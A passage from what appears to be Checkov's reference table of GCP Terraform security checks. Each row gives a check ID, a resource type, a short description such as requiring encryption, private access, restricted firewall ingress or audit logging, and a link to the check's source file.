[GKEMetadataServerIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py) | | 4176 | CKV_GCP_69 | resource | google_container_node_pool | Ensure the GKE Metadata Server is Enabled | Terraform | [GKEMetadataServerIsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py) | | 4177 | CKV_GCP_70 | resource | google_container_cluster | Ensure the GKE Release Channel is set | Terraform | [GKEReleaseChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEReleaseChannel.py) | | 4178 | CKV_GCP_71 | resource | google_container_cluster | Ensure Shielded GKE Nodes are Enabled | Terraform | [GKEEnableShieldedNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnableShieldedNodes.py) | | 4179 | CKV_GCP_72 | resource | google_container_cluster | Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled | Terraform | [GKEEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py) | | 4180 | CKV_GCP_72 | resource | google_container_node_pool | Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled | Terraform | [GKEEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py) | | 4181 | CKV_GCP_73 | resource | google_compute_security_policy | Ensure Cloud Armor prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Terraform | [CloudArmorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudArmorWAFACLCVE202144228.py) | | 4182 | CKV_GCP_74 | resource | google_compute_subnetwork | Ensure that private_ip_google_access is enabled for Subnet | Terraform | [GoogleSubnetworkPrivateGoogleEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkPrivateGoogleEnabled.py) | | 4183 | CKV_GCP_75 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted FTP access | Terraform | [GoogleComputeFirewallUnrestrictedIngress21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress21.py) | | 4184 | CKV_GCP_76 | resource | google_compute_subnetwork | Ensure that Private google access is enabled for IPV6 | Terraform | [GoogleSubnetworkIPV6PrivateGoogleEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkIPV6PrivateGoogleEnabled.py) | | 4185 | CKV_GCP_77 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow on ftp port | Terraform | [GoogleComputeFirewallUnrestrictedIngress20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress20.py) | | 4186 | CKV_GCP_78 | resource | google_storage_bucket | Ensure Cloud storage has versioning enabled | Terraform | [CloudStorageVersioningEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudStorageVersioningEnabled.py) | | 4187 | CKV_GCP_79 | resource | google_sql_database_instance | Ensure SQL database is using latest Major version | Terraform | [CloudSqlMajorVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudSqlMajorVersion.py) | | 4188 | CKV_GCP_80 | resource | google_bigquery_table | Ensure Big Query Tables are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [BigQueryTableEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryTableEncryptedWithCMK.py) | | 4189 | CKV_GCP_81 | resource | google_bigquery_dataset | Ensure Big Query Datasets are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [BigQueryDatasetEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryDatasetEncryptedWithCMK.py) | | 4190 | CKV_GCP_82 | resource | google_kms_crypto_key | Ensure KMS keys are protected from deletion | Terraform | [GoogleKMSPreventDestroy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSPreventDestroy.py) | | 4191 | CKV_GCP_83 | resource | google_pubsub_topic | Ensure PubSub Topics are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [CloudPubSubEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudPubSubEncryptedWithCMK.py) | | 4192 | CKV_GCP_84 | resource | google_artifact_registry_repository | Ensure Artifact Registry Repositories are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [ArtifactRegsitryEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegsitryEncryptedWithCMK.py) | | 4193 | CKV_GCP_85 | resource | google_bigtable_instance | Ensure Big Table Instances are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [BigTableInstanceEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigTableInstanceEncryptedWithCMK.py) | | 4194 | CKV_GCP_86 | resource | google_cloudbuild_worker_pool | Ensure Cloud build workers are private | Terraform | [CloudBuildWorkersArePrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudBuildWorkersArePrivate.py) | | 4195 | CKV_GCP_87 | resource | google_data_fusion_instance | Ensure Data fusion instances are private | Terraform | [DataFusionPrivateInstance.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionPrivateInstance.py) | | 4196 | CKV_GCP_88 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted mysql access | Terraform | [GoogleComputeFirewallUnrestrictedIngress3306.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3306.py) | | 4197 | CKV_GCP_89 | resource | google_notebooks_instance | Ensure Vertex AI instances are private | Terraform | [VertexAIPrivateInstance.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIPrivateInstance.py) | | 4198 | CKV_GCP_90 | resource | google_dataflow_job | Ensure data flow jobs are encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [DataflowJobEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataflowJobEncryptedWithCMK.py) | | 4199 | CKV_GCP_91 | resource | google_dataproc_cluster | Ensure Dataproc cluster is encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [DataprocClusterEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocClusterEncryptedWithCMK.py) | | 4200 | CKV_GCP_92 | resource | google_vertex_ai_dataset | Ensure Vertex AI datasets uses a CMK (Customer Managed Key) | Terraform | [VertexAIDatasetEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIDatasetEncryptedWithCMK.py) | | 4201 | CKV_GCP_93 | resource | google_spanner_database | Ensure Spanner Database is encrypted with Customer Supplied Encryption Keys (CSEK) | Terraform | [SpannerDatabaseEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseEncryptedWithCMK.py) | | 4202 | CKV_GCP_94 | resource | google_dataflow_job | Ensure Dataflow jobs are private | Terraform | [DataflowPrivateJob.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataflowPrivateJob.py) | | 4203 | CKV_GCP_95 | resource | google_redis_instance | Ensure Memorystore for Redis has AUTH enabled | Terraform | [MemorystoreForRedisAuthEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/MemorystoreForRedisAuthEnabled.py) | | 4204 | CKV_GCP_96 | resource | google_vertex_ai_metadata_store | Ensure Vertex AI Metadata Store uses a CMK (Customer Managed Key) | Terraform | [VertexAIMetadataStoreEncryptedWithCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAIMetadataStoreEncryptedWithCMK.py) | | 4205 | CKV_GCP_97 | resource | google_redis_instance | Ensure Memorystore for Redis uses intransit encryption | Terraform | [MemorystoreForRedisInTransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/MemorystoreForRedisInTransitEncryption.py) | | 4206 | CKV_GCP_98 | resource | google_dataproc_cluster_iam_binding | Ensure that Dataproc clusters are not anonymously or publicly accessible | Terraform | [DataprocPrivateCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py) | | 4207 | CKV_GCP_98 | resource | google_dataproc_cluster_iam_member | Ensure that Dataproc clusters are not anonymously or publicly accessible | Terraform | [DataprocPrivateCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py) | | 4208 | CKV_GCP_99 | resource | google_pubsub_topic_iam_binding | Ensure that Pub/Sub Topics are not anonymously or publicly accessible | Terraform | [PubSubPrivateTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py) | | 4209 | CKV_GCP_99 | resource | google_pubsub_topic_iam_member | Ensure that Pub/Sub Topics are not anonymously or publicly accessible | Terraform | [PubSubPrivateTopic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/PubSubPrivateTopic.py) | | 4210 | CKV_GCP_100 | resource | google_bigquery_table_iam_binding | Ensure that BigQuery Tables are not anonymously or publicly accessible | Terraform | [BigQueryPrivateTable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py) | | 4211 | CKV_GCP_100 | resource | google_bigquery_table_iam_member | Ensure that BigQuery Tables are not anonymously or publicly accessible | Terraform | [BigQueryPrivateTable.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryPrivateTable.py) | | 4212 | CKV_GCP_101 | resource | google_artifact_registry_repository_iam_binding | Ensure that Artifact Registry repositories are not anonymously or publicly accessible | Terraform | [ArtifactRegistryPrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py) | | 4213 | CKV_GCP_101 | resource | google_artifact_registry_repository_iam_member | Ensure that Artifact Registry repositories are not anonymously or publicly accessible | Terraform | [ArtifactRegistryPrivateRepo.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/ArtifactRegistryPrivateRepo.py) | | 4214 | CKV_GCP_102 | resource | google_cloud_run_service_iam_binding | Ensure that GCP Cloud Run services are not anonymously or publicly accessible | Terraform | [GCPCloudRunPrivateService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py) | | 4215 | CKV_GCP_102 | resource | google_cloud_run_service_iam_member | Ensure that GCP Cloud Run services are not anonymously or publicly accessible | Terraform | [GCPCloudRunPrivateService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py) | | 4216 | CKV_GCP_103 | resource | google_dataproc_cluster | Ensure Dataproc Clusters do not have public IPs | Terraform | [DataprocPublicIpCluster.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataprocPublicIpCluster.py) | | 4217 | CKV_GCP_104 | resource | google_data_fusion_instance | Ensure Datafusion has stack driver logging enabled | Terraform | [DataFusionStackdriverLogs.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionStackdriverLogs.py) | | 4218 | CKV_GCP_105 | resource | google_data_fusion_instance | Ensure Datafusion has stack driver monitoring enabled | Terraform | [DataFusionStackdriverMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/DataFusionStackdriverMonitoring.py) | | 4219 | CKV_GCP_106 | resource | google_compute_firewall | Ensure Google compute firewall ingress does not allow unrestricted http port 80 access | Terraform | [GoogleComputeFirewallUnrestrictedIngress80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress80.py) | | 4220 | CKV_GCP_107 | resource | google_cloudfunctions2_function_iam_binding | Cloud functions should not be public | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py) | | 4221 | CKV_GCP_107 | resource | google_cloudfunctions2_function_iam_member | Cloud functions should not be public | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py) | | 4222 | CKV_GCP_107 | resource | google_cloudfunctions_function_iam_binding | Cloud functions should not be public | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py) | | 4223 | CKV_GCP_107 | resource | google_cloudfunctions_function_iam_member | Cloud functions should not be public | Terraform | [CloudFunctionsShouldNotBePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionsShouldNotBePublic.py) | | 4224 | CKV_GCP_108 | resource | google_sql_database_instance | Ensure hostnames are logged for GCP PostgreSQL databases | Terraform | [GoogleCloudPostgreSqlLogHostname.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogHostname.py) | | 4225 | CKV_GCP_109 | resource | google_sql_database_instance | Ensure the GCP PostgreSQL database log levels are set to ERROR or lower | Terraform | [GoogleCloudPostgreSqlLogMinErrorStatement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinErrorStatement.py) | | 4226 | CKV_GCP_110 | resource | google_sql_database_instance | Ensure pgAudit is enabled for your GCP PostgreSQL database | Terraform | [GoogleCloudPostgreSqlEnablePgaudit.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlEnablePgaudit.py) | | 4227 | CKV_GCP_111 | resource | google_sql_database_instance | Ensure GCP PostgreSQL logs SQL statements | Terraform | [GoogleCloudPostgreSqlLogStatement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogStatement.py) | | 4228 | CKV_GCP_112 | resource | google_kms_crypto_key_iam_binding | Ensure KMS policy should not allow public access | Terraform | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py) | | 4229 | CKV_GCP_112 | resource | google_kms_crypto_key_iam_member | Ensure KMS policy should not allow public access | Terraform | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py) | | 4230 | CKV_GCP_112 | resource | google_kms_crypto_key_iam_policy | Ensure KMS policy should not allow public access | Terraform | [GoogleKMSKeyIsPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSKeyIsPublic.py) | | 4231 | CKV_GCP_113 | data | google_iam_policy | Ensure IAM policy should not define public access | Terraform | [GooglePolicyIsPrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/data/gcp/GooglePolicyIsPrivate.py) | | 4232 | CKV_GCP_114 | resource | google_storage_bucket | Ensure public access prevention is enforced on Cloud Storage bucket | Terraform | [GoogleStoragePublicAccessPrevention.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStoragePublicAccessPrevention.py) | | 4233 | CKV_GCP_115 | resource | google_organization_iam_binding | Ensure basic roles are not used at organization level. | Terraform | [GoogleOrgBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py) | | 4234 | CKV_GCP_115 | resource | google_organization_iam_member | Ensure basic roles are not used at organization level. | Terraform | [GoogleOrgBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgBasicRole.py) | | 4235 | CKV_GCP_116 | resource | google_folder_iam_binding | Ensure basic roles are not used at folder level. | Terraform | [GoogleFolderBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py) | | 4236 | CKV_GCP_116 | resource | google_folder_iam_member | Ensure basic roles are not used at folder level. | Terraform | [GoogleFolderBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderBasicRole.py) | | 4237 | CKV_GCP_117 | resource | google_project_iam_binding | Ensure basic roles are not used at project level. | Terraform | [GoogleProjectBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py) | | 4238 | CKV_GCP_117 | resource | google_project_iam_member | Ensure basic roles are not used at project level. | Terraform | [GoogleProjectBasicRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectBasicRole.py) | | 4239 | CKV_GCP_118 | resource | google_iam_workload_identity_pool_provider | Ensure IAM workload identity pool provider is restricted | Terraform | [GoogleIAMWorkloadIdentityConditional.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleIAMWorkloadIdentityConditional.py) | | 4240 | CKV_GCP_119 | resource | google_spanner_database | Ensure Spanner Database has deletion protection enabled | Terraform | [SpannerDatabaseDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseDeletionProtection.py) | | 4241 | CKV_GCP_120 | resource | google_spanner_database | Ensure Spanner Database has drop protection enabled | Terraform | [SpannerDatabaseDropProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/SpannerDatabaseDropProtection.py) | | 4242 | CKV_GCP_121 | resource | google_bigquery_table | Ensure BigQuery tables have deletion protection enabled | Terraform | [BigQueryTableDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigQueryTableDeletionProtection.py) | | 4243 | CKV_GCP_122 | resource | google_bigtable_instance | Ensure Big Table Instances have deletion protection enabled | Terraform | [BigTableInstanceDeletionProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/BigTableInstanceDeletionProtection.py) | | 4244 | CKV_GCP_123 | resource | google_container_cluster | GKE Don't Use NodePools in the Cluster configuration | Terraform | [GKEDontUseNodePools.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEDontUseNodePools.py) | | 4245 | CKV_GCP_124 | resource | google_cloudfunctions2_function | Ensure GCP Cloud Function is not configured with overly permissive Ingress setting | Terraform | [CloudFunctionPermissiveIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py) | | 4246 | CKV_GCP_124 | resource | google_cloudfunctions_function | Ensure GCP Cloud Function is not configured with overly permissive Ingress setting | Terraform | [CloudFunctionPermissiveIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/CloudFunctionPermissiveIngress.py) | | 4247 | CKV_GCP_125 | resource | google_iam_workload_identity_pool_provider | Ensure GCP GitHub Actions OIDC trust policy is configured securely | Terraform | [GithubActionsOIDCTrustPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GithubActionsOIDCTrustPolicy.py) | | 4248 | CKV_GCP_126 | resource | google_notebooks_instance | Ensure Vertex AI Notebook instances are launched with Shielded VM enabled | Terraform | [GoogleVertexAINotebookShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleVertexAINotebookShieldedVM.py) | | 4249 | CKV_GCP_127 | resource | google_notebooks_instance | Ensure Integrity Monitoring for Shielded Vertex AI Notebook Instances is Enabled | Terraform | [VertexAINotebookEnsureIntegrityMonitoring.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/VertexAINotebookEnsureIntegrityMonitoring.py) | | 4250 | CKV2_GCP_1 | resource | google_project_default_service_accounts | Ensure GKE clusters are not running using the Compute Engine default service account | Terraform | [GKEClustersAreNotUsingDefaultServiceAccount.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GKEClustersAreNotUsingDefaultServiceAccount.yaml) | | 4251 | CKV2_GCP_2 | resource | google_compute_network | Ensure legacy networks do not exist for a project | Terraform | [GCPProjectHasNoLegacyNetworks.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPProjectHasNoLegacyNetworks.yaml) | | 4252 | CKV2_GCP_3 | resource | google_service_account_key | Ensure that there are only GCP-managed service account keys for each service account | Terraform | [ServiceAccountHasGCPmanagedKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/ServiceAccountHasGCPmanagedKey.yaml) | | 4253 | CKV2_GCP_4 | resource | google_logging_folder_sink | Ensure that retention policies on log buckets are configured using Bucket Lock | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml) | | 4254 | CKV2_GCP_4 | resource | google_logging_organization_sink | Ensure that retention policies on log buckets are configured using Bucket Lock | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml) | | 4255 | CKV2_GCP_4 | resource | google_logging_project_sink | Ensure that retention policies on log buckets are configured using Bucket Lock | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml) | | 4256 | CKV2_GCP_4 | resource | google_storage_bucket | Ensure that retention policies on log buckets are configured using Bucket Lock | Terraform | [GCPLogBucketsConfiguredUsingLock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPLogBucketsConfiguredUsingLock.yaml) | | 4257 | CKV2_GCP_5 | resource | google_project | Ensure that Cloud Audit Logging is configured properly across all services and all users from a project | Terraform | [GCPAuditLogsConfiguredForAllServicesAndUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml) | | 4258 | CKV2_GCP_5 | resource | google_project_iam_audit_config | Ensure that Cloud Audit Logging is configured properly across all services and all users from a project | Terraform | [GCPAuditLogsConfiguredForAllServicesAndUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPAuditLogsConfiguredForAllServicesAndUsers.yaml) | | 4259 | CKV2_GCP_6 | resource | google_kms_crypto_key | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible | Terraform | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml) | | 4260 | CKV2_GCP_6 | resource | google_kms_crypto_key_iam_binding | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible | Terraform | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml) | | 4261 | CKV2_GCP_6 | resource | google_kms_crypto_key_iam_member | Ensure that Cloud KMS cryptokeys are not anonymously or publicly accessible | Terraform | [GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSCryptoKeysAreNotPubliclyAccessible.yaml) | | 4262 | CKV2_GCP_7 | resource | google_sql_database_instance | Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges | Terraform | [DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml) | | 4263 | CKV2_GCP_7 | resource | google_sql_user | Ensure that a MySQL database instance does not allow anyone to connect with administrative privileges | Terraform | [DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/DisableAccessToSqlDBInstanceForRootUsersWithoutPassword.yaml) | | 4264 | CKV2_GCP_8 | resource | google_kms_key_ring | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible | Terraform | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml) | | 4265 | CKV2_GCP_8 | resource | google_kms_key_ring_iam_binding | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible | Terraform | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml) | | 4266 | CKV2_GCP_8 | resource | google_kms_key_ring_iam_member | Ensure that Cloud KMS Key Rings are not anonymously or publicly accessible | Terraform | [GCPKMSKeyRingsAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPKMSKeyRingsAreNotPubliclyAccessible.yaml) | | 4267 | CKV2_GCP_9 | resource | google_container_registry | Ensure that Container Registry repositories are not anonymously or publicly accessible | Terraform | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml) | | 4268 | CKV2_GCP_9 | resource | google_storage_bucket_iam_binding | Ensure that Container Registry repositories are not anonymously or publicly accessible | Terraform | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml) | | 4269 | CKV2_GCP_9 | resource | google_storage_bucket_iam_member | Ensure that Container Registry repositories are not anonymously or publicly accessible | Terraform | [GCPContainerRegistryReposAreNotPubliclyAccessible.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPContainerRegistryReposAreNotPubliclyAccessible.yaml) | | 4270 | CKV2_GCP_10 | resource | google_cloudfunctions_function | Ensure GCP Cloud Function HTTP trigger is secured | Terraform | [CloudFunctionSecureHTTPTrigger.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/CloudFunctionSecureHTTPTrigger.yaml) | | 4271 | CKV2_GCP_11 | resource | google_project_services | Ensure GCP GCR Container Vulnerability Scanning is enabled | Terraform | [GCRContainerVulnerabilityScanningEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCRContainerVulnerabilityScanningEnabled.yaml) | | 4272 | CKV2_GCP_12 | resource | google_compute_firewall | Ensure GCP compute firewall ingress does not allow unrestricted access to all ports | Terraform | [GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPComputeFirewallOverlyPermissiveToAllTraffic.yaml) | | 4273 | CKV2_GCP_13 | resource | google_sql_database_instance | Ensure PostgreSQL database flag 'log_duration' is set to 'on' | Terraform | [GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_durationIsSetToON.yaml) | | 4274 | CKV2_GCP_14 | resource | google_sql_database_instance | Ensure PostgreSQL database flag 'log_executor_stats' is set to 'off' | Terraform | [GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF.yaml) | | 4275 | CKV2_GCP_15 | resource | google_sql_database_instance | Ensure PostgreSQL database flag 'log_parser_stats' is set to 'off' | Terraform | [GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/gcp/GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF.yaml) | | 4276 | CKV2_GCP_16 | resource | 